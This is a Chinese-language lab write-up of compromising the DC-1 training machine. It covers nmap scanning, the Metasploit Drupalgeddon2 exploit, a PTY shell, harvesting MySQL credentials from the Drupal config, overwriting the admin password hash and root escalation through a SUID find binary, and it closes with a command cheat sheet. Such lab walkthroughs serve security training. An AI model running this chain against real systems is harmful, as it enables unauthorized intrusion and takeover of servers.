DC1靶机渗透全流程

starme / 2024-10-19 / 原文

前情提要

1.本文章记录了本人打DC靶机的全过程。

2.不用对文章中靶机ip的变化过度在意。

3.如有建议或疑问,请留言或私信。

DC_1 √ Drupal

依据后面得出:192.168.40.157

前置知识:IP的组成

IPv4 地址的典型格式是 A.B.C.D,其中 A、B、C 和 D 是范围在 0 到 255 之间的十进制数。每个单独的数字对应于地址的 8 位二进制字段,可以表示为 8 位的二进制数。
IPv4由网络部分和主机部分组成
A.B.C表示网络部分,用于标识网络;D表示主机部分,用于标识特定网络中的主机或设备
当多个IPv4地址的网络部分相同,表示它们在同一个网络中,可以直接进行通信而无需经过网关或路由器进行转发,也说明相应设备在同一个局域网中

1.nmap

先快速探测网段内存活主机:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
解析:

-sP:使用Ping扫描模式,用于快速发现指定IP地址返回内活跃的主机
--min-hostgroup 1024 和 --min-parallelism 1024 是两个选项,用于指定扫描过程中的线程参数
--min-hostgroup 1024:指定同时扫描的最小主机组数
--min-parallelism 1024:指定最低的并行度,也就是同时进行的任务数最少是 1024 个
192.168.120.0/24 是一个 CIDR 格式的 IP 地址范围表示法,其中 /24 表示子网掩码为 24 位,即该 IP 地址范围包含 256 个连续的 IP 地址(从 192.168.120.0 到 192.168.40.255)

得到:

image-20230714172526633

得到了两个警告:但暂时不管

Warning: You specified a highly aggressive --min-hostgroup.
Warning: Your --min-parallelism option is pretty high! This can hurt reliability.

即:

您指定了非常激进的 --min-hostgroup 选项。

警告:您的 --min-parallelism 选项设置得很高!这可能会影响扫描的可靠性。

结合mac地址得到了ip:192.168.40.157

探测端口:nmap -A -p- -T4 192.168.40.157

nmap -A -p- -T4 192.168.40.157

选项 -A 表示启用全面扫描模式,对目标主机进行更深入的分析和探测。这个选项会执行多种扫描脚本和探测技术,包括操作系统识别、版本检测、脆弱性扫描等,以获取更详尽的主机信息。

选项 -p- 表示扫描目标主机的所有端口。默认情况下,Nmap 只会扫描一部分常见端口,但使用 -p- 可以指定扫描全部 65535 个端口,以便全面地探测主机上开放的服务和端口。

选项 -T4 指定了扫描的速度和时间延迟。-T4 表示采用较快的扫描速度,同时适度控制请求发送的间隔,以在短时间内完成扫描任务。

192.168.40.157 是目标主机的 IP 地址,表示要对该主机进行扫描.

得到开放的端口:

nmap -A -p- -T4 192.168.40.157

exec("tac /flag > 1.txt")

image-20230714194231831

访问:http://192.168.40.157:80

image-20230714194627051

那么Drupal是什么?搜索可得:

image-20230714194812943

Drupal是一个灵活的,基于LAMP技术栈的CMS(内容管理系统)

2.Wappalyzer

也可以通过Wappalyzer得到:

image-20230714194955466

3.msfconsole

尝试使用msfconsole寻找并利用与Drupal有关的漏洞:

执行命令:

msfconsole

image-20230714200718602

search Drupal(不区分大小写)

image-20230714200734585

先选取2018年的这个漏洞试试:

image-20230714195652132

利用漏洞:

use exploit/unix/webapp/drupal_drupalgeddon2

image-20230714200823618

查看使用方法:

show options

image-20230714200905811

设置靶机IP:

set RHOSTS 192.168.40.157

image-20230714201046883

开始攻击

run

执行Linux命令:

ls

读取flag:

cat flag1.txt

得到提示:

image-20230714201150373

config file,即配置文件

查找Drupal的默认路径:

image-20230714201643267

执行:得到flag2

image-20230714201741148

Brute force and dictionary attacks aren't the

  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

翻译:

穷举攻击(Brute force)和字典攻击(Dictionary attack)并不是获取访问权限的唯一方式(而你确实需要这些权限)。使用这些凭据,你可以做什么呢?

再看文件,发现:

image-20230729210700391

有效的有:

database(数据库)为drupaldb
username(账号)为dbuser
password(密码)为R0ck3t

为了方便,先得到shell:

shell
python -c "import pty;pty.spawn('/bin/bash')"

image-20230729211325297

image-20230729211356390

4.MySQL信息泄露

根据上面给出的账号密码,尝试MySQL登录:

mysql -u dbuser -p

image-20230729211756076

成功登录,接下来就是查数据库:

show databases;
use drupaldb;
show tables;

image-20230729212111210

# 查看表的信息并纵向排列:
select * from users\G;

image-20230729212301687

猜测可能是经过哈希加密后的结果,下面寻找加密逻辑

cd /var/www
find . -name "*hash*" #  ./scripts/password-hash.sh

image-20230729213005675

查看加密逻辑:

image-20230729213054441

image-20230729213222563

emmm,确实跟哈希有关.

该文件后面也有进一步的解释,但是与其破解原来的密码,不如更改成一个我们已知的新的密码

5.修改MySQL密码

若密码为666,对应的哈希值为:

image-20230729213529500

password: 666           hash: $S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id

则更改密码:

update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin";

建议将SQL语句完整正确的构造出来后再在终端输入

image-20230729214658869

成功修改

再次访问并登录管理员admin的账户:

image-20230817150716911

成功登录并得到flag3:

image-20230817150742679

image-20230729215003881

根据"passwd"可联想到/etc/passwd文件:

image-20230729215230872

猜测有个叫"flag4"的用户,查看:

image-20230729215312926

cd /home/flag4
ls
cat flag4.txt

image-20230729215659701

得到flag4.根据内容提示,要提权到root

查看默认以root权限执行的程序:

find / -perm -u=s -type f 2>/dev/null
# -perm 权限
# -u 用户 s表示特权
# -type 类型
# f 文件
# 2>/dev/null 不显示错误信息

image-20230729215935969

6.find提权

find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件

-p即--privileged以root权限执行

\;作用是告诉 find 命令要执行的命令已经完整结束,不再包含其他的参数或命令。这样可以确保命令的正确执行,并将 -exec 后面的命令应用到 find 命令找到的每个文件上

image-20230729220943945

最后得到flag5:

image-20230729221054574

7.知识点总结

# nmap
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -A -p- -T4 192.168.40.157
# wappaylyzer 
插件

# msfconsole
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options # 查看使用方法
set RHOSTS 192.168.40.157 # 设置靶机IP
run # 开始攻击
ls #执行Linux命令
shell
python -c "import pty;pty.spawn('/bin/bash')"

find / -name "set*"   # 寻找配置文件(有MySQL的用户信息)
sites/default/files   # Drupal的默认路径
show databases;       # 查看数据库内的信息
find / -name "*hash*" # 数据库密码的加密文件
# 更改密码
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin"; 

# 查看所有用户的家目录并用find提权
cat /etc/passwd
ls /home # 查看用户
find / -perm -u=s -type f 2>/dev/null # 查看默认以root权限执行的程序
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件